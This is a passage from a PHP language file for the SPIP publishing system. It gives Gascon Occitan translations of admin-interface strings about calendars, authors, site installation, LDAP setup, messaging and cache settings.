'ical_info_calendrier' => 'Que i a dus calendèrs a la vòsta disposicion. Lo permèr qu’ei un plan deu sit qui anóncia tots los articles publicats. Lo segond que contien los anoncis editoriaus en mei deus vòstes darrèrs messatges privats: que vs’ei reservat gràcias a ua clau personau, qui podetz modificar en tot moment en renovant lo vòste mot de santa Clara. ',
'ical_methode_http' => 'Telecargament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Los articles publicats en aqueth sit que’s pòden afichar aisit, dens tots los sits vòstes, en har servir ua linha javascript. ',
'ical_texte_prive' => 'Aqueth calendèr, d’us estrictament personau, que vs’informa de l’activitat editoriau privada d’aqueth sit (òbras e rendetz-vos personaus, articles e brèvas prepausats...).',
'ical_texte_public' => 'Aqueth calendèr que’vs permet de seguir l’activitat publica d’aqueth sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Que podetz sindicar las nautats d’aqueste sit dens quin legider de fichièrs que sia en format XML/RSS (Rich Site Summary). Qu’ei tanben lo format qui permet a SPIP de legir las nautats publicadas dens autes sits en utilizar un format d’escambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrièr',
'ical_titre_rss' => 'Fichièrs «backend»',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_afficher_auteurs' => 'Afichar los autors',
'icone_afficher_visiteurs' => 'Afichar los vesitaires',
'icone_arret_discussion' => 'Quitar aquera discussion',
'icone_calendrier' => 'Calendèr',
'icone_creer_auteur' => 'Crear un autor nau e associà’u a aqueth article',
'icone_creer_mot_cle' => 'Crear un mot clau nau e ligà’u a aqueth article',
'icone_creer_rubrique_2' => 'Crear ua rubrica nava',
'icone_envoyer_message' => 'Mandar aqueth messatge',
'icone_modifier_article' => 'Modificar aqueth article',
'icone_modifier_message' => 'Modificar aqueth messatge',
'icone_modifier_rubrique' => 'Modificar aquera rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquera rubrica',
'icone_supprimer_signature' => 'Suprimir aquera signatura',
'icone_valider_signature' => 'Validar aquera signatura',
'image_administrer_rubrique' => 'Que podetz administrar aquera rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Que podetz activar un <b>cookie de correspondéncia</b>; aquò que’vs permeterà de passar aisit deu sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aqueth administrator que gereish las rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Aqueth administrator que gereish <b>totas las rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'deu sit(<i>d’utilizar dab precaucion</i>)',
'info_administrateur_site_01' => 'S’ètz administrator/tritz deu sit, volhatz',
'info_administrateur_site_02' => 'clicar aqueth ligam',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Que podetz administrar aquera rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) deu sit public',
'info_afficher_visites' => 'Afichar las vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quan ajustatz imatges com estacaments juntats a un article, SPIP que pòt crear automaticament entà vos vinhetas (miniaturas) deus imatges inserits. Aquò que permet per exemple de crear automaticament ua galaria o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent qu’ei ajustat:',
'info_ajouter_rubrique' => 'Ajustar ua auta rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci de las nautats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Los articles pòstdatats per paréisher',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles d’aqueth autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dens lo tèxt)',
'info_attente_validation' => 'Los vòstes articles en espèra de validacion',
'info_aujourdhui' => 'uei:',
'info_auteur_message' => 'AUTOR DEU MESSATGE:',
'info_auteurs' => 'Los autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de la vòsta basa de dadas qu’ei installada.',
'info_chapeau' => 'Capèth',
'info_chapeau_2' => 'Capèth:',
'info_chemin_acces_1' => 'Opcions: <b>camin d’accès dens l’annuari</b>',
'info_chemin_acces_2' => 'Ara que devetz configurar lo camin d’accès a las informacions dens l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions:<b>camin d’accès dens l’annuari',
'info_choix_base' => 'Tresau estapa:',
'info_classement_1' => '<sup>èr</sup> de @liste@',
'info_classement_2' => '<sup>au</sup> de @liste@',
'info_code_acces' => 'N’oblidetz pas los vòstes còdes d’accès pròpis!',
'info_config_suivi' => 'S’aquera adreiça correspond a ua lista de corrièr, que podetz indicar ça devath l’adreiça on los participants au sit e pòden inscrive’s. Aquera adreiça que pòt estar ua URL (per exemple la pagina d’inscripcion a la lista peu web), o ua adreiça e-mail tienent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Que podetz arrecéber automaticament, per e-mail, los anoncis pertocant l’activitat editoriau d’aqueth sit. Tà aquò har, que’vs podetz abonar a la lista de corrièr seguenta:',
'info_confirmer_passe' => 'Confirmar aqueth mot de santa Clara navèth:',
'info_connexion_base' => 'Dusau estapa: <b>Ensai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP que s’i ei escaduda.</b><p> Que podetz passar a l’estapa seguenta.', # MODIF
'info_connexion_mysql' => 'Permèra estapa:<b>La vòsta connexion SQL</b>',
'info_connexion_ok' => 'La connexion que s’i ei escaduda.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut deus articles',
'info_creation_paragraphe' => '(Entà crear paragrafs, que sufís que deishetz linhas vueidas.)', # MODIF
'info_creation_rubrique' => 'Abans de poder escríver articles,<br /> que devetz crear aumensh ua rubrica.<br />',
'info_creation_tables' => 'Quatau estapa: <b>Creacion de las taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> ua basa de dadas navèra:',
'info_dans_rubrique' => 'Dens la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERÉNCIAMENT D’AQUETH SIT:',
'info_derniere_etape' => 'Darrèra estapa: <b>Qu’ei acabat!',
'info_derniers_articles_publies' => 'Los vòstes darrèrs articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Que podetz activar o desactivar la vòsta messatjaria personau sus aqueth sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Abans de poder escríver articles, que’vs cau crear aumensh ua rubrica.',
'info_email_envoi' => 'Adreiça e-mail de mandadís (opcionau)',
'info_email_envoi_txt' => 'Indicatz ací l’adreiça d’utilizar tà enviar los e-mails (a fauta d’aquò, que s’utilizarà l’adreiça destinatari com adreiça de mandadís):',
'info_email_webmestre' => 'Adreiça e-mail deu responsable deu sit (opcionau)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Mandadís d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar ara',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Que podetz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Que podetz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa de cap tà @archive@',
'info_facilite_suivi_activite' => 'Tà facilitar lo seguit de l’activitat editoriau deu sit, SPIP que’vs pòt hornir per e-mail, per exemple a ua lista de corrièr deus redactors, l’anonci de las demandas de publicacion e de las validacions d’articles.',
'info_fichiers_authent' => 'Fichièrs d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Lo vòste sit web que horneish forums entaus abonats; dens lo sit public los vesitaires que son convidats a registrà’s.',
'info_gauche_admin_effacer' => '<b>A aquera pagina, sonque los responsables deu sit qu’i pòden accedir.</b><p> Que permet de trobar las diferentas foncions de mantienença tecnica. Daubuas qu’implican un procès d’autentificacion especific que necessita un accès FTP au sit web.', # MODIF
'info_gauche_admin_tech' => '<b>A aquera pagina, sonque los responsables deu sit qu’i pòden accedir.</b><p> Que permet de trobar las diferentas foncions de mantienença tecnica. Daubuas qu’implican un procès d’autentificacion especific que necessita un accès FTP au sit web.', # MODIF
'info_gauche_admin_vider' => '<b>A aquera pagina, sonque los responsables deu sit qu’i pòden accedir.</b><p> Que permet de trobar las diferentas foncions de mantienença tecnica. Daubuas qu’implican un procès d’autentificacion especific que necessita un accès FTP au sit web.', # MODIF
'info_gauche_auteurs' => 'Que trobaratz ací tots los autors deu sit. La color de las icònas que n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Los autors exteriors, shens accès au sit, que son indicats per ua icòna blava; los autors esfaçats per ua caisha de las dèishas.', # MODIF
'info_gauche_messagerie' => 'La messatjaria que’vs permet d’escambiar messatges entre redactors, de servar mementos (tau vòste usatge personau) o d’afichar anoncis sus la pagina d’arcuelh de l’espaci privat (s’ètz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMÈRO',
'info_gauche_statistiques_referers' => 'Aquera pagina que presenta la lista deus <i>referiders</i>, qu’ei a díser deus sits qui contienen ligams miant de cap tau vòste quite sit, mes unicament ièr e uei: aquera lista que s’actualiza cada 24 òras.',
'info_gauche_visiteurs_enregistres' => 'Que trobaratz aquí los vesitaires registrats
dens l’espaci public deu sit (forums dab abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas deus imatges',
'info_gerer_trad' => 'Gerir los ligams d’arrevirada?',
'info_hebergeur_desactiver_envoi_email' => 'Daubuns aubergaders que desactivan lo mandadís automatic
d’e-mails dempuish los lors serviders. En aqueth cas, las foncionalitats seguentas
d’SPIP non foncionaràn pas.',
'info_hier' => 'gèr:',
'info_historique_activer' => 'Activar lo seguiment de las revisions',
'info_historique_affiche' => 'Afichar aquera version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment de las revisions',
'info_historique_texte' => 'Lo seguiment de las revisions que permet de servar un istoric de totas las modificacions que s’ei portat au contengut d’un article, e d’afichar las diferéncias entre las versions successivas.',
'info_identification_publique' => 'La vòsta identitat publica...',
'info_image_process' => 'Volhatz seleccionar lo melhor metòde de fabricacion de las vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se nat imatge n’apareish pas, alavetz lo servider qu’aubèrga lo vòste sit non l’an pas configurat entà utilizar aisinas taus. Se desiratz d’utilizar aqueras foncions, contactatz lo responsable tecnic e demandatz las extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cincau estapa: <b>Informacions personaus</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors navèths',
'info_jeu_caractere' => 'Jòc de caractèrs deu sit',
'info_jours' => 'dias',
'info_laisser_champs_vides' => 'deishar aqueths camps vueids)',
'info_langues' => 'Lengas deu sit',
'info_ldap_ok' => 'L’autentificacion LDAP qu’ei installada.',
'info_lien_hypertexte' => 'Ligam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tèra deus redactors connectats',
'info_login_existant' => 'Aqueth login ja qu’existeish.',
'info_login_trop_court' => 'Login tròp cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dens la medisha rubrica',
'info_message' => 'Messatge deu',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Los vòstes messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjaria intèrna',
'info_mise_a_niveau_base' => 'Hicada a nivèu de la vòsta basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Qu’avetz installada ua version
deus fichièrs SPIP {anteriora} a la qui i avèva
abans sus aqueste sit: que riscatz de pèrder la vòsta basa de dadas
e lo vòste sit non foncionarà plus.<br />{{Tornatz installar los
fichièrs d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Lo men sit SPIP',
'info_mot_sans_groupe' => '(Mots hòra grop...)',
'info_moteur_recherche' => 'Cercader integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga taus articles?',
'info_multi_cet_article' => 'Lenga d’aqueste article:',
'info_multi_langues_choisies' => 'Volhatz seleccionar ça devath las lengas qui son a posita deus redactors deu vòste sit.
Las lengas ja emplegadas dens lo vòste sit (afichadas en permèras) ne’s pòden pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per las rubricas?',
'info_multi_secteurs' => '... sonque tà las rubricas a l’arradit deu sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom deu destinatari',
'info_nom_site' => 'Nom deu vòste sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De non desplaçar pas...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP que pòt mandar, regularament, l’anonci de las darrèras nautats deu sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Non mandar pas la tèra de las nautats',
'info_non_modifiable' => 'ne’s pòt pas modificar',
'info_non_suppression_mot_cle' => 'Non vòi pas suprimir aqueth mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges naus',
'info_nouvel_article' => 'Article nau',
'info_nouvelle_traduction' => 'Arrevirada nava:',
'info_numero_article' => 'ARTICLE NUMÈRO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion deus vesitaires deu sit public',
'info_option_faire_suivre' => 'Har seguir los messatges deus forums aus autors deus articles',
'info_option_ne_pas_accepter_visiteurs' => 'Arrefusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificader d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificader d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbida',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Los dus mots de santa Clara non son pas identics.',
'info_pense_bete_ancien' => 'Los vòstes mementos ancians ', # MODIF
'info_plus_cinq_car' => 'mei de 5 caractèrs',
'info_plus_cinq_car_2' => '(mei de 5 caractèrs)',
'info_plus_trois_car' => '(mei de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'entà',
'info_preview_admin' => 'Solament los administrators que pòden previsualizar lo sit',
'info_preview_comite' => 'Tots los redactors que pòden previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion qu’ei deu tot desactivada',
'info_preview_texte' => 'Qu’ei possible de previsualizar lo sit com s’avèvan publicat tots los articles e brèvas (qui tienen aumensh l’estatut "prepausat"). E la cau obrir, aquera possibilitat, aus administrators sonque, a tots los redactors, o non pas a degun?',
'info_principaux_correspondants' => 'Los vòstes correspondents principaus',
'info_procedez_par_etape' => 'proceditz estapa per estapa',
'info_procedure_maj_version' => 'Que cau lançar la procedura d’actualizacion tà adaptar
la basa de dadas a la version navèra d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Los vòstes articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’a las esqueletas deu vòste sit web e’s preved lo registrament de vesitaires shens accès a l’espaci privat, volhatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que redactors navèths e s’inscrívian
a partir deu sit public? S’ac acceptatz, los vesitaires que’s poiràn inscríver
mercés a un formulari automatizat e alavetz qu’accediràn a l’espaci privat entà
perpausar articles.<blockquote><i> Durant la fasa d’inscripcion, los utilizaires que receben un e-mail automatic
qui’us balha un còde d’accès au sit privat.
Daubuns aubergaders n’autorizan pas lo mandadís d’e-mails dempuish los lors serviders: en aqueth cas, l’inscripcion automatica qu’ei
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'E desiratz d’utilizar lo cercader integrat a SPIP? (lo desactivar qu’accelèra lo foncionament deu sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Arradit deu sit',
'info_recharger_page' => 'Volhatz tornar cargar aquera pagina dens un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats entà "@cherche_auteur@"; volhatz afinar la cèrca.',
'info_recherche_auteur_ok' => 'Mei d’un redactor trobat entà "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Nat resultat trobat entà "@cherche_auteur@".',
'info_recommencer' => 'Volhatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qui accedeish a l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Los vòstes articles arrefusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aqueth article que renvia a la pagina:',
'info_reserve_admin' => 'Sonque los administrators que pòden modificar aquera adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrca:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadas (dens lo tèxt)',
'info_sans_titre' => 'Shens títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> ça devath lo camin d’accès dens l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Los sits referenciats ligats a aqueth mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dens lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aqueth autor:', # MODIF
'info_statut_efface' => 'Esfaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit deus utilizaires importats',
'info_statut_utilisateurs_2' => 'Causitz l’estatut d’atribuir a las personas presentas dens l’annuari LDAP quan e’s connèctan lo permèr còp. Que poiratz puish modificar aqueth estatut entà cada autor un cas per un.',
'info_suivi_activite' => 'Seguit de l’activitat editoriau',
'info_surtitre' => 'Subertítol:',
'info_taille_maximale_vignette' => 'Talha maximau de las vinhetas congreadas peu sistèma:',
'info_terminer_installation' => 'Ara que podetz acabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt qu’ei long: qu’apareish doncas en tròç distints qui’s tornaràn colar un còp validats.)',
'info_texte_message' => 'Tèxt deu vòste messatge:', # MODIF
'info_texte_message_02' => 'Tèxt deu messatge',
'info_titre' => 'Títol:',
'info_total' => 'totau: ',
'info_tous_articles_en_redaction' => 'Tots los articles en cors de redaccion',
'info_tous_articles_presents' => 'Tots los articles publicats dens aquera rubrica',
'info_tous_les' => 'tots los:',
'info_tous_redacteurs' => 'Anoncis a tots los redactors ',
'info_tout_site' => 'Tot lo sit ',
'info_tout_site2' => 'N’an pas arrevirat l’article cap tà aquera lenga.',
'info_tout_site3' => 'Qu’an arrevirat l’article cap tà aquera lenga, mes qu’an portat puish modificacions a l’article de referéncia. Que cau actualizar l’arrevirada.',
'info_tout_site4' => 'Qu’an arrevirat l’article cap tà aquera lenga, e l’arrevirada qu’ei actualizada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> sonque los articles originaus que s’afichan.
Las arreviradas que s’assòcian a l’originau,
ua color qu’indica lo lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu suus articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'ua rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DEU SIT:',
'info_urlref' => 'Ligam ipertèxt:',
'info_utilisation_spip' => 'Ara que podetz començar d’utilizar lo sistèma de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'deu sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires deu sit public',
'install_echec_annonce' => 'L’installacion que s’i mauescairà, o qu’abotirà a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP non fonciona pas dab:',
'install_extension_php_obligatoire' => 'SPIP qu’exigeish l’extension php:',
'install_select_langue' => 'Seleccionatz ua lenga puish clicatz lo boton «seguent» entà aviar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar las inscripcions',
'item_activer_messages_avertissement' => 'Activar los messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dens lo calendèr',
'item_autoriser_documents_joints' => 'Autorizar que’s junte documents aus articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documents dens las rubricas',
'item_choix_administrateurs' => 'los administrators',
'item_choix_generation_miniature' => 'Congrear automaticament las miniaturas deus imatges.',
'item_choix_non_generation_miniature' => 'Non congrear pas nada miniatura deus imatges.',
'item_choix_redacteurs' => 'los redactors',
'item_choix_visiteurs' => 'los vesitaires deu sit public',
'item_creer_fichiers_authent' => 'Crear fichièrs .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrca a las informacions contengudas dens lo vòste sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'aus articles',
'item_mots_cles_association_rubriques' => 'a las rubricas',
'item_mots_cles_association_sites' => 'aus sits referenciats o sindicats',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'N’acceptar pas las inscripcions',
'item_non_activer_messages_avertissement' => 'Nat messatge d’avertiment',
'item_non_afficher_calendrier' => 'De non pas afichar dens lo calendèr',
'item_non_autoriser_documents_joints' => 'N’autorizar pas los documents dens los articles',
'item_non_autoriser_documents_joints_rubriques' => 'N’autorizar pas los documents dens las rubricas',
'item_non_creer_fichiers_authent' => 'Non crear pas aqueths fichièrs',
'item_non_gerer_statistiques' => 'Non gerir pas las estadisticas',
'item_non_limiter_recherche' => 'Alargar la cèrca au contengut deus sits referenciats',
'item_non_publier_articles' => 'Non publicar pas los articles abans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'N’utilizar pas lo motor',
'item_nouvel_auteur' => 'Autor nau',
'item_nouvelle_rubrique' => 'Rubrica nava',
'item_oui' => 'Òc',
'item_publier_articles' => 'Publicar los articles, quina que sia la soa data de publicacion',
'item_reponse_article' => 'Responsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cercader',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Ajustar aqueth destinatari',
'lien_ajouter_auteur' => 'Ajustar aqueth autor',
'lien_ajouter_participant' => 'Ajustar un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DEU SIT:',
'lien_retirer_auteur' => 'Tirar l’autor',
'lien_retrait_particpant' => 'Tirar aqueth participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquera rubrica',
'lien_tout_deplier' => 'Desplegar tot',
'lien_tout_replier' => 'Tornar plegar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VÉDER EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUETH SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DE LAS RUBRICAS', # MODIF
'logo_survol' => 'LÒGO TAU SUBERVÒL', # MODIF
// M
'menu_aide_installation_choix_base' => 'Causida de la vòsta basa',
'module_fichier_langue' => 'Fichièr de lenga',
'module_raccourci' => 'Acorcida',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Que podetz inserir las acorcidas seguentas dens las esqueletas deu vòste sit public. Que s’arreviraràn automaticament dens las diferentas lengas tà las quaus existeish un fichièr de lenga.',
'module_texte_traduction' => 'Lo fichièr de lenga «@module@» qu’ei disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'uei lo dia',
// S
'statut_admin_restreint' => '(admin. restrent)', # MODIF
// T
'taille_cache_image' => 'Los imatges qu’SPIP a calculat automaticament (vinhetas deus documents, títols presentats en forma grafica, foncions matematicas en format TeX...) qu’ocupan dens lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aqueth sit non preved pas nada limitacion de talha deu repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP qu’ensaja de limitar la talha deu repertòri <code>CACHE/</code> d’aqueth sit a <b>@octets@</b> de dadas haut o baish.',
'taille_cache_octets' => 'Ara la talha de l’esconeder que compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’esconeder qu’ei vueid.',
'taille_repertoire_cache' => 'Talha deu repertòri esconeder',
'text_article_propose_publication' => 'Article perpausat entà la publicacion. N’esitetz pas de dar la vòsta idèa gràcias au forum estacat a aqueth article (en baish de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Daubuns serviders LDAP n’accèptan pas nat accès anonim. En aqueth cas, que cau especificar un identificant d’accès iniciau tà poder puish cercar informacions dens l’annuari. Totun, los camps seguents que’s poiràn deishar vueids dens la màger part deus cas.',
'texte_admin_effacer_01' => 'Aquera comanda qu’esfaça <i>tot</i> lo contengut de la basa de dadas,
inclús <i>tots</i> los accès redactors e administrators. Un còp que l’auratz executada, qu’auratz de tornar lançar l’installacion d’SPIP tà tornar crear ua basa navèra atau com un permèr accès administrator.',
'texte_adresse_annuaire_1' => '(Se lo vòste annuari ei installat sus la medisha maquina qu’aqueth sit web, que s’ageish probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent qu’ei estat ajustat a l’article:',
'texte_annuaire_ldap_1' => 'S’acceditz a un annuari (LDAP), que’u podetz utilizar tà importar automaticament utilizaires devath SPIP.',
'texte_article_statut' => 'Aqueth article qu’ei:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dens lo vòste sit SPIP, mes redirigit de cap tà ua auta URL. Tà suprimir la redireccion, esfaçatz l’URL ça suber.',
'texte_aucun_resultat_auteur' => 'Nat resultat entà "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aqueste sit que pòt indicà’vs de contunh la tèra deus redactors connectats, çò qui’vs permet d’escambiar messatges en dirècte. Que podetz decidir de n’aparéisher pas dens aquera tèra (qu’ètz "invisible/a" taus autes utilizaires).',
'texte_auteur_messagerie_1' => 'Aqueth sit que permet d’escambiar messatges e de constituir forums de discussion privats entre los participants deu sit. Que podetz decidir de non participar pas a aqueths escambis.',
'texte_auteurs' => 'LOS AUTORS',
'texte_choix_base_1' => 'Causitz la vòsta basa:',
'texte_choix_base_2' => 'Lo servider SQL que contien mei d’ua basa de dadas.',
'texte_choix_base_3' => '<b>Causitz</b> ça devath la qui lo vòste aubergader e vs’a atribuida:',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquera comanda tà vueidar las taulas d’indexacion utilizadas peu cercader integrat a SPIP. Aquò que permeterà
de ganhar espaci disc.',
'texte_compresse_ou_non' => '(Aqueste que’s pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz las informacions que lo vòste aubergader e forneish: qu’i devetz trobar, se lo vòste aubergader supòrta SQL, los còdes de connexion au servider SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quauques mots.)',
'texte_contenu_articles' => 'Segon la maqueta que lo vòste sit a adoptada, que podetz decidir
que daubuns elements deus articles non s’utilizen pas.
Utilizatz la tèra ça devath entà indicar quins elements son disponibles.',
'texte_crash_base' => 'Se la vòsta basa de dadas s’i ei
mauescaduda, que podetz ensajar ua reparacion
automatica.',
'texte_creer_rubrique' => 'Abans de poder escríver articles,<br /> que devetz crear ua rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA :',
